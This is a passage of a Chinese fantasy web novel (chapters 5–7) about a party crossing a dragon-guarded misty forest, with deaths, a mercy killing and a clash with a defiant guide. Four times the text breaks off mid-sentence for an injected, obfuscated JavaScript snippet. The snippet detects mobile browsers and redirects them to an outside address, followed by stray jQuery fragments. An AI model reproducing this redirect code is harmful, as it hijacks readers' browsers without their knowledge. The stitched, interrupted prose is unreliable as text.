当剑砍到白影时,那个格兰德城人惊骇地想,它比岩石更硬,仿佛由天底下最厉害的铁匠用最坚韧的金属打制而成的武器,也无法从它身上削下一丁点碎屑。
但它竟然炸开了,这个格兰德城人心里清楚,这并非是她所能造成的伤害。
这令人寒毛卓立的东西从自身内部迸出一段段扭曲的裂纹,如同蛛网一般由内至外结满全身,随后竟凭空爆成一团齑粉,纷纷扬扬地落到了土地上。
众人围了上来,却也不敢离那些散落在地上的齑粉太近,慌张与茫然间,格兰德城的向导抽出别在腰间的手套戴上,俯身用食指捻起一把粉末细细识别。
“这就是龙牙,”他向围绕过来的众人说明,“龙牙种到地里就会化为战士,它既不会感到疼痛,也不会感到疲惫,它会一直收割入侵者的生命,直到耗尽的那一刻。”
“但是它现在碎了,”汤普森脸色苍白,心有余悸,“它应该不会变回去吧?这里还有其它龙牙吗?”
“不可能,”罗斯严肃道,“既然是守卫,这里必然不可能只有一枚龙牙,至于刚刚被击碎的那枚——”
“不,它不是被我击碎的,”那个砍到龙牙的格兰德城人打断了罗斯的话,她的名字叫作亨特,“它或许是历时太长,耗尽了最后一丝力量才爆体破裂。等一会儿再遇见别的龙牙,我们可不一定有这么好运了,我们必须要马上离开这里!”
伍德和罗斯对视一眼,明白此刻他们已身处险境,若不能尽快离开迷雾森林,方才那名格兰德人的惨状将会不断地复现。
因此他们尽快地将队形调整成一个尖锥形,命令所有人都拿出武器,提高警惕放轻步伐,随后迅速向前方出发。
弗兰茨被安排在队伍的左侧方,往前望去是众人凝重坚毅的神情,向后回看则是距离越来越远的、像钟摆一样钉在树干上的尸体。
他暗暗深吸一口气,再缓缓呼出,让自己的心跳稳定下来。
乐观的设想被抛之脑后,残酷的险境就摆在眼前。
处于危险的环境之中,没有人能替那个无辜的格兰德城人整理遗容埋葬遗体,也没有人能折返而归慰问他的亲人。
因召而来的生命停驻在冰冷的森林,其余人只能向前,再向前,哪怕还会有人因此倒下。
.
或许是诡谲绿雾的缘故,这片森林总是被灰暗笼罩着。
即使仍是白天,太阳也只是化作天边的一个白色小点儿,宁愿轻飘飘地缀在云端,也不肯施舍一线微光。
为了降低遇到龙牙战士的概率,伍德并不打算选择行走在前人开辟出来的大道上,而是带领众人在大道平行的坡路上前行。
暴露的风险降低了,但行进的难度却提高了。
未被开拓过的山坡上,树根高高隆起,如同蛇一样盘踞在地面上,攀附着树干的藤蔓顺着枝条垂落下来,遮蔽了不少微弱的光,这不仅延缓了通过迷雾森林的速度,更使得众人心中生出一种仓惶的感觉,仿佛自己正行走在白天与黑夜交际的边界。
也不知跋涉了多久,太阳已高悬空中,天色仍旧昏暗。
此时,远方大地上传来了声声沉闷的震动,伍德抬手,行进的队伍无声无息地停了下来,他扭头示意,一名身材略显消瘦的使团成员默不作声地从队伍中脱离而出。
他身姿轻盈,静悄悄地朝声源处飘去。
片刻,他又如鬼魅般冒了出来,带来关于远方声响的消息。
原来发出声音的正是一个龙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991973|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牙战士。
相比起刚才碎成齑粉的龙牙,这一枚龙牙行动起来没有那么敏捷,可以说是十分迟缓,不过它肉眼可见的庞大,力量感十足。
这样看来,龙牙战士也有不同的类型?
前面碰到的显然是速度型龙牙战士,这一个听上去更像是力量型的,弗兰茨沉思,行动迟缓的力量型龙牙,如果是这样,是否有避开它的视线安全渡过的办法?
比如将队伍拆分成几个小队,减小并分散龙牙可攻击的目标,趁其不意快速安静地通过后再汇合会更加安全?
他将想法讲了出来,不出意料引来汤普森的一声冷哼。他没有理会,转头看向使团里的几个领头人。
被默默注视的几人交换了几个眼神后凝神不语,最后承担着整个使团前进决策的伍德表示,再往前走走看到究竟是什么情形之后再做决定。
.
众人小心翼翼地行进了一段距离,感觉来自地面的震动更大了。
不远处,他们甚至能看到龙牙战士投射下的一大团深灰色的影子,几乎要将林间的微光都遮盖掉。
“快藏好!”
伍德压低声音急呵,指挥着众人快速躲进树木的根系下面。
弗兰茨屏住呼吸,透过交错的树根,他看见一枚硕大的龙牙正拖着身体在森林里徘徊。
它的个头足有一座小山那么高,那么大,树丛只能从它的肩膀扫过,它所经之处都被碾成了平地。
毫无疑问,无论哪个人被它捉住,只要它轻轻一攥,那个倒霉蛋都会被挤得脑浆四溅只剩一张薄薄的皮。
只不过,它似乎只在这片区域来回行动,因此这一片的土地被压得尤为平坦的,不见一棵草木,几乎没有能够遮住身形的地方。
而远处,树木依然挺立,张牙舞爪地伸向天际。
看来,只要不引起它的注意,趁它转身行走的时候快速经过,隐入对面的树林之中便可以继续出发。
众人转头看向伍德,等待他做的决策。
或许是想不到更好的办法,伍德采用了弗兰茨的提议。
他将十九人分为四组,不惊扰龙牙的前提下依次通过,随后在前方树林里最高的树木前汇合。
弗兰茨被分到和罗斯、卡塔利娜,以及那名前去探路的使团成员一组。
他们藏在树后,看见龙牙战士轰隆隆地朝另一边挪动,马上从树根底部跳出来,悄然无声地向树林出发。
虽然因为土地被犁平,失去能够遮住身形的树木,但在空旷的平地上前进,方向会更加明确。
瞧着前方最高的树木,四人成功闪进树林。
作为出发的第一组,到达汇合点后四人检查了一下周围,确认暂时没有危险后在树底快速清理出一个空间,闪身而入等待其余人到来。
四人并排蜷着,那名使团成员突然开口:“之前来过的使者,并没有说过这些。”
“雷东多。”
罗斯转头叫他,语气严肃,眼神警告他现在不是说这种话的时刻。
雷东多自知失言,他低着头闭紧嘴巴。
一时间,树底弥漫的尽是沉默。
5. 第 5 章
那名格兰德城人的遭遇给所有人都敲响了警钟。
他们没有心里准备吗?
不。
是有的。
但是早已离去的亡者无法诉说这条路上的惊险,携带荣光归来的胜者则更青睐于讲述能够聚焦目光的传奇故事。
直到同行人在眼前如此突兀又惨烈的死去,鲜血四溅,危机四伏,眼前的一切比那些出发前听闻的传言、雄心壮志的设想要更加残酷,更加无情。
现实的冲击使人心情沉重,弗兰茨靠在树根下,垂头,脚下的泥土湿润,有一只小小的蚂蚁正绕过他的鞋子寻找食物。
当它走到某个与寻常土地无异的地方时,地面突然凹陷下去,一对钳子从泥里翻出,钳住蚂蚁往下拽去。仅在一呼一吸之间,地面又恢复了平静。
可弗兰茨心里明白,看似平和的泥土里正埋伏着狩猎者的螯足。
他错开视线,侧过头去,映入眼帘的是卡塔利娜侧脸。
她双手交错托住下巴,两眼放空,还打了一个大大的哈欠,显得非常从容,甚至不介意向别人展现出“她觉得无聊”的念头。
弗兰茨对此感到疑惑。
可还不等他说些什么,卡塔利娜便径直将头转了过来,明黄色的眼睛直直地对上了他的视线。
.
好灼热。
即使处于放空的状态,右脸传来的视线的热度仍让卡塔利娜难以忽略。
卡塔利娜望着前方悠悠地想,他在看着我,为什么要看着我?
沉默的树底下,漂浮着焦灼的味道,混杂着惴惴不安和紧张。
卡塔利娜能感知到,这是一种燃烧的味道。
不像在城主府里鲜肉遇到火花后迸发出来的香味,更像是一种烧焦了的羽毛、沉寂了的铁灰的味道。
令人牙酸的、坐立不安的味道。
这里的所有人,都在担忧,在焦躁,在强装镇定。
她可以从这些混杂在一起的情绪里,分辨出他们的主人是谁。
但她却不能理解,不理解为什么会有这样的情绪产生。
所以,他看我的时候,想的到底是什么?
卡塔利娜眯起眼睛,上下两排牙齿相互切了切,她突然心痒痒的,想要亲自弄明白他到底为什么看着她。
于是,她非常自在地转过了头,与弗兰茨相视。
在纤长下垂的睫毛笼罩之下,她看见了一双灰蓝色的眼睛,如初冬时节雨雾弥漫的清晨,朦胧。
因为忧心,他的眉间叠起一道小小的褶皱,像湖面被暖风吹皱的一小片涟漪;眉梢正往下靠着,使得在鸦黑的眉与眼睫之间那道浅浅折痕显现出来,莫名给人一种脆弱之感。
这是因为我没有表现出害怕而怀疑我?
还是一种自己害怕,所以向同行人寻求安慰的表现?
掠过笔挺的鼻管,卡塔利娜的视线继续往下滑,她知道,在扣着的面罩之下,是一个水滴状的人中,和两片苍白的薄薄的唇;通过他上半张脸露出的情绪,她仿佛能看见那两片嘴唇此刻正交叠在一起,使唇角走出一个向下的纹路。
他是怎么想的?
卡塔利娜饶有兴致地盯着他,看着他原本蹙着眉的脸流露出一丝惊讶,看着他的眼睛不自觉地眨了几下,然后,微弱的光也在他的睫毛上跳动,细碎的,闪亮着,像一把叮零当啷的金币。
她忍不住伸出手去抓——
她的手僵在了半空,是弗兰茨阻挡了她。
他很错愕,他下意识想要往后躲,但另一边还蹲着人,所以他僵直在原地。
“你要做什么?”弗兰茨压低了声音,“你——”
“那你看我做什么?”卡塔利娜反问道。
“你在想什么?”她理直气壮地追问,游刃有余,“你在怀疑我?害怕我?”
他不知道该怎么回答了。
卡塔利娜凑过来的样子,很像那些沉浸在恋爱里的人们会做出来的动作。
然而,这样的举动描述起来会让人觉得暧昧,但卡塔利娜的动作强势又直接,将那些撒娇意味全部消解了;她更像一个身处高位的领主检阅自己领地内应有的财富,不容他人拒绝。
她的表情是理所当然,仿佛她只是做了一件十分寻常的事情,并不觉得这样的动作完全算得上是在冒犯他人。
弗兰茨不明白卡塔利娜的举动,也不理解她为什么能如此顺畅地反客为主,但自小受到的教育使他下意识和她拉开距离。
这不仅是礼仪性质的异性之间该有的相处之道,更是在面对潜在危险时下意识的自保举措。
僵持间,剩余几个小队陆续而至,现在,就只剩下伍德带领的小队还没有到。
十几人在树下等待着,期间天色越发黯淡,太阳正向着来时的方向快速流动,迷雾森林里阴影渐起,可前方仍不见剩余几人的踪迹。
“我去看看他们走到哪儿了,”一个格兰德城人按捺不住站了起来,她有些焦急地提议,“这样干等下去也不是办法。就让我一个人去吧,出了什么事,你们也不必来搭救我;如果还有什么意外情况,我就用哨音提醒你们。”
弗兰茨认出说话的人正是那个男向导的姐妹,她的兄弟被分到了和伍德一组至今未至,她心有所虑再自然不过。
罗斯与亨特表面不显,内心亦有些焦急,听到她的话,相视一眼,便默许了她返回的行动。
随着她的身影渐渐远去,铅一样的云慢慢覆盖上天际。
空气里的温度也逐渐降低,傍晚的风如铁片一般剃过众人的脸庞,呼啸着在树枝间穿梭,发出像哨子一般尖利的叫声。
雷东多“咻——”地站了起来,他伏低身子,将手扣在腰间的佩剑上。
嚁——嚁——
众人侧耳倾听,分辨这遥遥的声音究竟是风声还是哨音。
嚁——嚁嚁——嚁!
“快走!”罗斯率先反应过来,低声催促,“出事了快走!”
弗兰茨被她拽着胳膊推了一把,匆忙间,他听见远处传来一声撕心裂肺地惊叫,他下意识回头瞥了一眼,看见远处的半空中有一个人在不断地上升——
——竟是龙牙战士抓住了一个人,然后将他高高地抛了起来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991974|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.
太阳彻底地沉寂下去,阴沉的夜重重地压了上来。
危机重重的迷雾森林,使团不仅遗失了太阳的方向,连用来指路的仪器指针也乱转成一团。别无它法,使团只能找一个山洞暂时度过这个夜晚。
因为怕引起龙牙的注意,山洞里并没有燃起火把,众人也保持着沉默。
然而,这样的沉默却不仅仅是为了避开龙的爪牙。
那个向导的姐姐、刚刚主动前往探查的格兰德城人,她将身上背负着的人轻轻放下。伤员的下半身软绵绵的,乱七八糟地从她的身上滚落下来,叠成一团。
他正是那个被龙牙战士肆意抛起的人,也是她的弟弟。
此刻,他躺在阴凉潮湿的泥土里,面上亦是冰凉凉的湿意,那是他姐姐的泪水。
“留在我身边吧,拜托了。”
佩斯感受到他的体温正不断降低,于是她淌着泪,俯下身环抱着他,脸贴着脸,臂膀挨着臂膀,就像他们还处在母亲的肚子里一般,亲密无间,“不要离开我。”
她哀求他,企图维持着那一点儿稀薄的热量。
可是摔断了脊梁、被攥烂了下半身的人要如何在这艰难的环境里坚持下去?
他并不是不能忍受疼痛,而是不愿做如此没有意义地挣扎;即使他的姐姐愿意背着他继续前进,他又怎会甘愿成为使团前进的累赘?
他艰难地抬手,握紧了他姐姐的手臂,这一瞬,他那双原本已经蒙上灰色的眼睛突然迸射出耀眼的光亮,生命的活力在这一刻又重新返回到他身上。
这鲜活的瞬间和佩斯记忆里那个年轻活泼的小伙子重叠在了一起。
可这使佩斯更加痛苦了,他们本是一体双生,他们的心意相互连接;她无助地摇着头,说不出一句话,只能用眼神祈求她的兄弟,祈求他不要这么无情,不要如此残忍的对她。
可是他眼里燃烧的火光是如此炙热,烧得她心如刀割。
所以她妥协了,为了她的兄弟最后的一点心愿。
佩斯缓缓闭上眼睛,在他的头发上、面颊上不住地亲吻,最后她的嘴唇在他的额头上轻轻印了一下。
她隔着泪水,深深凝望着他,双手颤抖着拿起一旁的行囊,然后捂在了他的脸上。
他抽搐了一会儿,接着就不动了。
于是,她也不动了,弯着腰默默地坐立在那儿,像一尊凝固了很久的石像。
.
当洞口漂浮的细微轻尘被染成金色的圆粒之时,指引方向的太阳再次升起。
山洞深处,透过四周的昏暗,卡塔利娜看见那个被称呼为佩斯的女人微微动了一下,她从那个被她亲手捂死的男人头上割下一缕头发放于心口,然后她又从洞穴深处搬来了一些碎石将她兄弟的身体掩埋起来。
而当她再次直立起来的时候,她的眼里燃着如同她兄弟一般的热火,仿佛那具身体里承载着两个人灵魂。
“我要杀了它。”
她冷静道,目光从亨特滑到罗斯,又滑到了伍德的身上。
“我要杀了它。”
佩斯又重复地说了一遍。
6. 第 6 章
她说她要杀了它。
卡塔利娜从地上站了起来,她盯着那个死了亲人的人,看着她重新挺直的脊背,心头一阵激荡。
她要杀了它,她要为他杀了它,多有意思啊,卡塔利娜慢慢将呼吸放轻,因此她能感受到胸腔里那颗心脏正在沸腾的岩浆里激烈地跳动着。
“你要怎么杀它?”
无需忍耐,卡塔利娜脱口而出:“你要杀它,怎么杀?你杀得了它?杀得了一条龙?”
这算什么?
质疑,还是嘲笑?
这个人为什么能毫无顾忌地说出这种话?
怒火在胸膛燃烧,佩斯缓缓转过头来,昏暗的环境里,她对上了一双明黄色的、亢奋的眼睛。
如果佩斯再理智一点,观察得更细致一些,她就会发现,这双明黄色眼睛的瞳仁正不断地收缩,像极了蛇或者蜥蜴的眼睛。
可惜,佩斯的大部分理智已经随她的兄弟而去,剩余的都在卡塔利娜挑衅似的话中焚尽了。
她怎么能、怎么能……
即使是陌生人,也不会轻易在别人失去亲人的时候加以伤害,更何况她的弟弟,身为向导的弟弟,难道没有在路上提供过帮助吗?
她难道没有接受他提供的面罩,没有收到他的提醒吗?
她为什么、为什么能说出这样的话?佩斯咬紧了牙,瞪着眼前这个兴奋的人——她是、也是一个向导!
她和他们一样,不是使团成员,是以向导身份中途加入的,可她作为向导,不仅没有给任何人提供过任何帮助,现在还以这种态度说话!
佩斯愤恨,两腮因为激动不停抖动:“对,我就是要杀了它,不管结果如何,我就要杀了它!”
“为什么?就因为他死了?”
这很有意思,卡塔利娜咧开了一个发自内心的笑。
“卡塔利娜!”
第三个声音打断了她与她的对话,一股风从身侧穿过,卡塔利娜没有闪躲,胳膊被声音的主人攥住了。
是弗兰茨插了进来。
他攥住她的手臂往一旁拉,可卡塔利娜纹丝不动,他只好挡在她的身前,避免两人直接对上使冲突进一步加剧。
“你在说什么?”隔断了佩斯的视线,弗兰茨转过头问她,继而不赞同地摇了摇头,“无论如何,现在都不是说这种话题的时候。”
“为什么不是?”
卡塔利娜反问,眉毛高高地扬起,她盯着弗兰茨原本笑意吟吟的脸露出愤怒和错愕,心里涌动着一股恶作剧似的畅快。
她偏过头,目光依次从其他人身上扫过,最后落在了那个傲慢的男人和谨慎的女人身上,她直视他们,挑动其他人:“你们来这儿的目的,难道真是为了杀它吗?
“你们把进贡说成行赏,然后又为了颜面蒙上荣誉,现在有人要不顾你们的‘荣誉’杀了它,为什么不阻止?是因为你们也想杀了它吗?”
“……你在胡说八道些什么?!”伍德整张脸都涨红了起来,话像岩浆一样咕嘟咕嘟地冒着泡,“她、因为家人被害口不择言宣泄情绪,我们,你真是——你还说行赏是进贡,还狡辩我们也是为了杀它?!
“你身为向导,一点该干的事都没干,你怎么敢说这种话的?!我真是不明白是谁让你……罗兰先生!你到底是从哪里——”
“——团长。”
刚刚一直沉默的罗斯按住了伍德的肩膀,她提醒他:“太阳已经升起来了。”
伍德顿住了,扭头瞪着罗斯,两人僵持片刻,他才把怒火和激动强压了下来。
随后,伍德将山洞里的众人通通扫视了一遍,重申道:“佩斯,对于你弟弟的不幸遭遇我感到很痛惜,他热心又专业,失去他是我们行赏路上的一大损失;我也很明白你的痛苦,但我们此次行赏代表了整个王国,他的牺牲是为了拜里科斯,我希望你能振作起来,替他走完未尽的旅程。在场的诸位,也会替他见证这一荣誉——
“而至于你,卡、不管你叫什么,向导,现在你该履行你身为向导的义务了,你要走在队伍的最前面,明白吗?”
从行驿馆到城主府再到这里,伍德从来没有记住过这个仅仅是被他用于争权夺利的向导的名字,如果不是她刚刚突然发难,他可能都会忘记队伍里面还有这样一个人。
毕竟,她不重要。
而且能够让她加入,本来就是一件至上荣光的事情了,这番敲打的话后,他从未想过她还有什么话要说。
但她说了。
“叫我卡塔利娜。”
这个红头发的向导开口,明黄色的眼睛直直地落在他身上,锋利,令人胆寒。
“叫我卡塔利娜”——不仅人奇怪,语序也很奇怪。
她并不用普通人自我介绍时的方式来说“我叫卡塔利娜”,“叫我卡塔利娜”——这更像是某种居高临下的指示。
这毫不客气地冒犯了他。
一个平民去主动冒犯一位骑士团的骑士,这是一件几乎不可能会发生的事情;更何况这位骑士,现在还担任了荣耀使团的团长,伍德并不相信有哪个平民会如此胆大包天。
但事实如此。
他应该感到不满,感到愤怒,他应该训斥她,树立自己的威严,可他却什么也说不出来,平时拥护他的人也寂静无声。
只有微弱的风从山洞口吹了进来。
.
也许是深入迷雾森林的缘故,太阳仅在升起之时亮了一瞬,而后很快黯淡下去。
众人尽可能地加快步伐,向更东方前行。
随着地势抬高,路上出现的嶙峋山洞和石块渐渐多了起来。风持续地吹,钻过细小的孔洞,在灰蒙蒙的野草间穿梭,发出如长笛般高且长的声音。
天仍然阴沉着,绿茸茸的雾压下来,肉眼可见地浓郁了不少。
弗兰茨走在队伍中间,向前看去,是两条显眼的红色发辫——卡塔利娜作为向导,走在了最前方。
这个,令人惊异的、语无伦次的、手足无措的,人。
她是突然而至,席卷一切的风暴。
面对这样暴烈的风暴,所有人的体面,各异的心思,稳定的礼节,安全的社交模式,就像脆弱的轻飘飘的面纱,只能在无情的风刃中裂成碎片,露出底下想要遮掩的真面目。
令人无法招架。
她是怎么做到的?
如此毫无顾忌,我行我素,让惯于把控一切的伍德
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991975|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都失言,还把“行赏”这种全王国的共识说成“进贡”。
如此无所畏惧。
“你到底是怎么认识这个向导的?害得我们——”
沉思间,小汤普森的声音在耳畔响起,弗兰茨已经习惯他直白的挑衅;但这一次,小汤普森把声音压得很低,话也没有说全,弗兰茨转头看向他,他也只是恶狠狠地瞪了自己一眼,接着又看向前方。
很显然,他顾忌卡塔利娜发现他在背后说她。
“……还把行赏这种荣誉和进贡混淆,没文化!”
小汤普森补充道,连攻击力都下降了不少。
弗兰茨没有理会,反倒将注意力放回了卡塔利娜的话上。
所谓的“进贡”。
一百多年前,拜里科斯王国与一海之隔的维洛兰王国多有摩擦,直到在白岛的归属权上,两国爆发了长达五年的战争,甚至一度将这片美丽的白沙海染成了红色。
两国僵持多年,损失惨重,维洛兰王国为夺下白岛,无视人类默认的规则选择与山地精灵合作,这使得胜利一度向他们倾斜。
幸而在关键时刻,一位平民女子,梅兰妮亚·杜兰德驭龙而来,赤焰燃烧至天际,帮助拜里科斯赢得战争,拿下白岛。
为褒奖杜兰德的勇气与智慧,当时的国王陛下封她为驭龙女士;为震慑维洛兰王国,他极其大方地将白岛靠东一侧分给助战的红龙居住,而白岛西侧则建立格兰德城,并声称红龙永远是拜里科斯最好的宾客。
王国绝不亏待勇者与真心的客人,因此往后的每二十年,拜里科斯便会派遣荣誉使团前往龙穴行赏。
这一举动不仅是为了彰显拜里科斯对曾经相助者的慷慨,也是一种隐藏的威慑——对维洛兰王国的威慑。
第一个二十年,前往龙穴行赏的自然是驭龙女士,第二个二十年,行赏的主心骨也还是她,但到了第三个二十年——
驭龙女士老了,眼睛花了,旧伤带来的病痛像藤蔓一样缠上她的双膝和脊梁,当初亲历过这场战争的人也少了,新王与年轻人们体谅他们的难处,于是,尽管驭龙女士还想再见一见被她驯服的龙,踏上格兰德城的来使中再也没有出现过她的身影。
再往后,行赏被赋予了更多的意味,历练、荣誉、出人头地、奖赏……
即使这条前往龙穴的路生出许多危险,想要成为使团成员的人也越来越多,但“行赏”的性质却从未被人质疑过。
毕竟,除了“行赏”,还会是什么呢?
卡塔利娜说是进贡。
进贡,与行赏完全不同的性质,意味着拜里科斯仰仗龙的庇护,祈求龙的帮助,龙是拜里科斯与维洛兰之间天然的屏障。
有龙在,拜里科斯就再也不用担心维洛兰的进攻。
多么荒谬的说法,如果真如卡塔利娜所言,这不是一次荣耀的“行赏”,而只是卑微的“进贡”,那么拜里科斯这么多年这么多人都在茫茫追逐些什么?那些归来后受人尊敬的使者们,又算些什么?
驭龙女士的“驭龙”,难道从一开始就不是真的?
弗兰茨并不是轻信他人言语的性格,但这一次,他看着卡塔利娜火焰一般的红发,不由得沉思起来。
7. 第 7 章
跨越隆起的树根,翻过横斜的石块,在卡塔利娜的带领下,众人并未遇见过龙牙战士,也没有遭受来自暗处攻击。
半天时间就在这样有惊无险的跋涉中渡过,但是,没有及时更换的面罩和大幅度动作使得所有人不由自主地深呼吸起来。
一缕细细的、几不可见的绿丝,就在这种时刻顺着面罩小小的孔隙溜进众人的口鼻,游走至全身。
所有人几乎在同时感受到一股不可明说的快意,精神与身体逐渐放松起来。
弗兰茨的步伐变得轻盈,他感觉自己踩在了羽毛上。
方才崎岖的山路被捋直、擀开,逐渐变得平坦,地上阻人的碎石正旋转着往天上落。
伴随着悠扬的笛声,他的身体越来越轻快,就连出发后一直坠在心间的石头都快要拽不住他。
好久没有这么快活的行走了!
不仅是身体,就连心脏都轻得要从嘴里飞出来,抛开卡塔利娜带来的疑惑,那些长久沉积在心底的忧郁也开始融化。弗兰茨的面颊上不由得浮起一个快乐的微笑。
他快活地大步向前跑去,跌跌撞撞地扑到了一棵树上。
那棵树也不恼,只是微微回头瞥了他一眼,带着醉酒般的红晕。
啊,它好像,好像我认识的一个人。
弗兰茨怔愣了一下,毕竟他从未见过一棵长着人脸的树。
然后他又开始迷蒙地思考,思考他到底在哪儿见过这张脸。
在哪里?在哪里?
四处游荡的思维使他原本清爽的头脑运转得晕乎乎的,几乎快要烧起来。
好烫,是什么这么烫?!
不止是头脑,忽然变得灼热的空气让他难以忍受地喘了几声。
深呼吸几下,弗兰茨眨了眨眼,灰绿相交的视线里涌进一大片燃烧着的红色,那是被朝阳点燃的连绵不断的原野。
他向前远眺,在那赤红的原野的尽头,与两只浅褐色的竖瞳对上了视线。
它们伴随着狂风呼啸而来,吹来的红浪遮天蔽日。
弗兰茨眯起眼睛辨认,才发现那是一头极具野性的、粗犷又美丽的红龙。
嘭——!
被那炽烈的红色迷住了眼,弗兰茨来不及躲闪,狠狠地撞到了龙的头,他吃痛地叫了一声,睁开眼。
卡塔利娜正抓着他的两只耳朵,审视片刻,问道:“清醒了么?”
见他没有说话,卡塔利娜皱了皱眉,头开始向后仰,然后立即撞了过来。
“等等、啊!”
弗兰茨捂住额头,这才明白他刚刚撞上的不是什么坚硬无比的巨龙,而是卡塔利娜的头。
为了确定他是真的清醒,此刻,卡塔利娜正紧紧贴在他的面前,眼珠一转不转地盯着他。
“我没事,卡塔利娜。”
弗兰茨揉着额头,一边暗暗吸气,一边从她铁臂的桎梏下挣扎出来,他向后退了两步,环顾四周。
还有些模糊的视野里,他看见其余人桃红的面容上映着餍足的快活的笑容,他们的四肢胡乱地软成一团,显然是陷入了某种诱人的幻境。
“醒醒!”
弗兰茨哑着嗓子大喊,正要上前叫醒其他人,不料脚下一绊,往前撑着地面的手压到了一个棍状物体。
他下意识低头看了一眼,心脏短促地痉挛了一下。
那是一根人的骨头。
毫无疑问,这根骨头的主人在生前很有可能和他们一样陷入了幻觉,并极不幸的在永恒的迷梦里丧失生命。
弗兰茨看着一张张沉醉的脸,心里腾升起一丝后怕。
假如卡塔利娜没有及时把他从幻觉中扯出,那么他们的下场将会和那根骨头的主人一样在虚假中踏上亡路。
.
“为崇高的荣誉战斗,为光辉的王国挺身!威廉·伍德,神圣骑士团骑士长、荣誉使团团长、以及——屠龙者!你为拜里科斯消除红龙的威胁,为夺取旧物、拿下维洛兰奠定必不可少的基础。
“英勇无畏,坚韧不拔,在太阳永恒的光辉之下,今日,我将册封你为——”
屠龙成功后的第三十日,砍下红龙脑袋的伍德在典礼上双手持剑,被当今国王册封为爵士。
即使典礼上应保持冷静,但内心渴望有朝一日终得以实现,伍德几乎要控制不住将将裂开的嘴角。
被当作诱饵用掉的替死鬼,滚落在地燃着龙焰的异种头颅还历历在目,可昨日惊险业已过去,今日荣誉唾手可得。
在这期待已久的时刻,在众人的目光环绕中,伍德的心根本无法安宁,一直重重地撞击着胸膛,嘭嘭嘭嘭,颤抖得快要从嘴里呕吐出去;嘭嘭嘭嘭,就连脸上的肌肉也抽搐个不停,为了控制住自己,他只好往自己脸上抽了几个巴掌。
“醒醒!”
为什么我要抽自己巴掌?
“伍德,清醒一点!”
伍德迷惑地眨眨眼,却见那本应不在的人正拍打着自己的脸。
喜悦的笑容凝固在脸上,诧异的心情冷却了头脑,他喘着粗气,茫然地瘫坐在地上。
围绕在他身旁的不再是大殿的石柱,耀眼的冠冕和华丽的绸缎,而是压在头上绿毛毛般的雾,萧瑟的风,以及从土里冒出半截的灰白色的骨。
到底发生了什么?
伍德看着那个把自己从未来拉回到过去的人,那个装腔作势的讨厌鬼——理智告诉他刚刚所经历的一切不过是迷雾送来的幻觉,眼前所见才是现实。
可是,当他和弗兰茨对上视线的那一刻,莫名的恼怒、厌恶、憎恨,种种负面情绪不可控制的、交杂着在内心深处蔓延。
“……你还好吗,佩斯?”
亨特托住佩斯的胳膊,将她从地上扶了起来。
在幻觉中与弟弟重见的佩斯正难以自抑地哆嗦,但很快便她抹掉了泪水,将痛苦强压下去。
“我没事,”她说,“继续向前出发吧,团长、向导。”
.
有龙牙战士和迷雾的双重威胁,众人将警惕提至最高,好在最后一段路并无意外发生,他们在银月初升之时走出了迷雾森林。
从离开格兰德城至今,太阳不过才升起落下了三回,众人已是受尽了精神和□□上的双重折磨。
随着地势拔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991976|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高,夜寒雾浓,为更好的状态与体力,罗斯提议原地休整,明日再出发。
伍德阴沉着脸,却也没有异议。
驻扎地中,已经有人开辟出一片空地用来生火,火堆上也架着几个小铁罐烧水。
弗兰茨从行囊中掏出一只巴掌大的密封铁盒,撬掉盖子,在浸满了油的铁盒中塞了一张油纸,将铁盒置于一块裸露的石头之上,再点燃油纸。
铁盒里,火腿的脂肪开始燃烧,弗兰茨借着油脂燃烧起来的火苗又在铁盒上面吊起一小罐水,并将采集而来的蘑菇切片丢进烧开的水中。
等到铁盒内的多余油脂被燃尽,蘑菇汤也煮好了。一位格兰德城人见状给他递来少许盐块,弗兰茨掰了一点放到汤里,再把铁盒内烤好的火腿肉取出放在盖子上切片。
